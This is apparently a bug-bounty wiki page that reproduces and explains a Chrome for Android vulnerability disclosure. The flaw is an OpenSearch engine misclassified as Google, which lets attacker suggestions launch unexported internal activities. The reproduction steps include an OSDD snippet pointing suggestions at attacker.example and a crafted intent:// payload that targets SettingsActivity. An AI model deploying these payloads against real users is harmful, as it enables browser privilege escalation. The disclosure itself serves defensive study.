Incorrect authorization in Search (CVE-2026-106241)
Chrome's OpenSearch parser does not enforce same-origin checks between search and suggestion URLs, and engine classification relies only on the search URL. This allows an attacker to create a misclassified 'Google' search engine with a malicious suggestion endpoint, then inject Action in Suggest payloads containing arbitrary intent:// URIs that Chrome signs with a trusted authentication token, enabling the launch of internal unexported activities.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 6 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team.
Overview: Chrome's OpenSearch parser does not enforce same-origin checks between search and suggestion URLs, and engine classification relies only on the search URL. This allows an attacker to create a misclassified 'Google' search engine with a malicious suggestion endpoint. The attacker can then inject Action in Suggest payloads containing arbitrary intent:// URIs that Chrome signs with a trusted authentication token, allowing the launch of internal unexported activities.
Affected files:
components/search_engines/template_url.cccomponents/omnibox/browser/base_search_provider.cccomponents/omnibox/browser/search_provider.cccomponents/omnibox/browser/autocomplete_input.cccomponents/search_engines/template_url_parser.ccchrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionInSuggest.javachrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionDelegateImpl.java
Estimated timestamp from git blame: 2025-01-09
Summary
A potential privilege escalation and sandbox escape vulnerability exists in Chrome for Android's Omnibox suggestion handling. An attacker can use a malicious OpenSearch Description Document (OSDD) to register a search engine that Chrome incorrectly classifies as a trusted Google engine. This misclassification allows the attacker to supply malicious ActionInSuggest payloads from their server. These payloads can contain arbitrary intent:// URIs. When the user interacts with the suggestion, Chrome parses the URI and, because it targets Chrome, mistakenly attaches its internal TRUSTED_APPLICATION_CODE_EXTRA token before dispatching it. This allows an attacker to bypass security boundaries, navigate to chrome:// URLs, or launch unexported internal activities like SettingsActivity to perform fragment injection.
Technical Details
- OSDD Parsing Lacks Origin Enforcement: When parsing an OSDD (
components/search_engines/template_url_parser.cc), Chrome extracts the search<Url>and suggestion<Url>independently without enforcing a same-origin policy. - Engine Misclassification:
search::TemplateURLIsGoogle()(components/search/search.cc:31) relies onTemplateURL::GetEngineType(), which determines the engine type by generating a test URL from the search template only. If the search URL points towww.google.com, the engine is classified asSEARCH_ENGINE_GOOGLE, even if the suggestion URL points to an attacker-controlled domain. - Malicious Payload Acceptance: When a user types a query using this engine,
SearchProviderfetches suggestions from the attacker's server. The attacker returns a JSON payload with agoogle:suggesttemplatefield. InBaseSearchProvider::CreateSearchSuggestion()(components/omnibox/browser/base_search_provider.cc:232), the code relies on the flawedis_googlecheck to allow the attachment ofOmniboxActionInSuggestobjects derived from the attacker's payload. - Intent Parsing and Trusted Signing: The attacker provides an
intent://URI in the payload'saction_urifield. When the user taps the suggestion,OmniboxActionInSuggest.execute()(chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/action/OmniboxActionInSuggest.java:111) parses the URI into anIntent. It does not sanitize the intent's component. It then callsdelegate.startActivity(intent). - Privilege Escalation:
OmniboxActionDelegateImpl.startActivitychecks if the intent targets Chrome viaIntentUtils.intentTargetsSelf(intent). Since the attacker crafted the intent to target Chrome, this check passes, andIntentUtils.addTrustedIntentExtras(intent)is called. This attaches Chrome's unforgeablePendingIntenttoken (TRUSTED_APPLICATION_CODE_EXTRA). The intent is then dispatched, allowing it to reach unexported components (e.g.,SettingsActivityfragment injection) and bypassisTrustedIntentFromSelf()checks.
Suggested Reproduction Steps
Note: These are potential steps based on code analysis; a full PoC has not been executed.
- Host an OSDD (
osdd.xml) athttps://attacker.example/:XML <Url type="text/html" template="https://www.google.com/search?q={searchTerms}"/> <Url type="application/x-suggestions+json" template="https://attacker.example/suggest?q={searchTerms}"/> - Lure a user to
https://attacker.example/to trigger OSDD discovery, or convince them to manually add the search engine. - When the user types the engine's keyword followed by a space and query in the Omnibox, the attacker's server receives the request.
- The server responds with a JSON payload containing a Base64-encoded
google:suggesttemplatespecifying an action of typeDIRECTIONS_VALUEand anaction_urilike:intent://foo#Intent;package=com.android.chrome;component=com.android.chrome/org.chromium.chrome.browser.settings.SettingsActivity;S.show_fragment=org.chromium.chrome.browser.tracing.settings.DeveloperSettings;end - When the user taps the resulting 'Directions' chip, Chrome will launch the internal, unexported
DeveloperSettingsfragment with trusted privileges.
Suggested Fix
- Strict Engine Verification:
search::TemplateURLIsGoogle()must validate that both the search URL and the suggestion URL belong to a recognized Google domain. - Intent Sanitization:
OmniboxActionInSuggest.execute()must sanitize parsedintent://URIs, similar toExternalNavigationHandler.sanitizeQueryIntentActivitiesIntent(), ensuring thatintent.setComponent(null)andintent.setSelector(null)are called to prevent targeting specific internal activities. - OSDD Origin Validation: Consider enforcing a same-origin policy between search and suggestion URLs during OSDD parsing.
Evaluated with Chrome root at commit: 096fc8fdbfacf2546485756d03f160a3d04fcc9b
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the OpenSearch parser does not enforce same-origin between search and suggestion URLs, and engine classification only checks the search URL, so a malicious suggestion endpoint is trusted as Google.
Impact
An attacker could bypass security boundaries, navigate to chrome:// URLs, or launch unexported internal activities like SettingsActivity to perform fragment injection.
What the attacker needed
Victim uses Chrome on Android; victim adds or is lured to add malicious search engine; victim types a query using that engine; victim taps the malicious suggestion chip
The fix
The report suggests strict engine verification, intent sanitization, and OSDD origin validation; it does not state that a fix was applied.
How it was found
- Host an OSDD at the attacker's domain with a Google search URL and an attacker suggestion URL.
- Lure a user to the attacker's site to trigger OSDD discovery or convince them to manually add the search engine.
- When the user types the engine's keyword and query, the attacker's server receives the request.
- The server responds with a JSON payload containing a Base64-encoded google:suggesttemplate specifying an action and an intent:// URI.
- When the user taps the resulting 'Directions' chip, Chrome launches the internal unexported DeveloperSettings fragment with trusted privileges.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Chrome lets websites add themselves as search engines. This report says a malicious site can pretend to be Google by using a Google search address but a different address for suggestions. When you use that fake engine, the site can send special instructions that Chrome trusts too much, letting it open hidden parts of the app.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.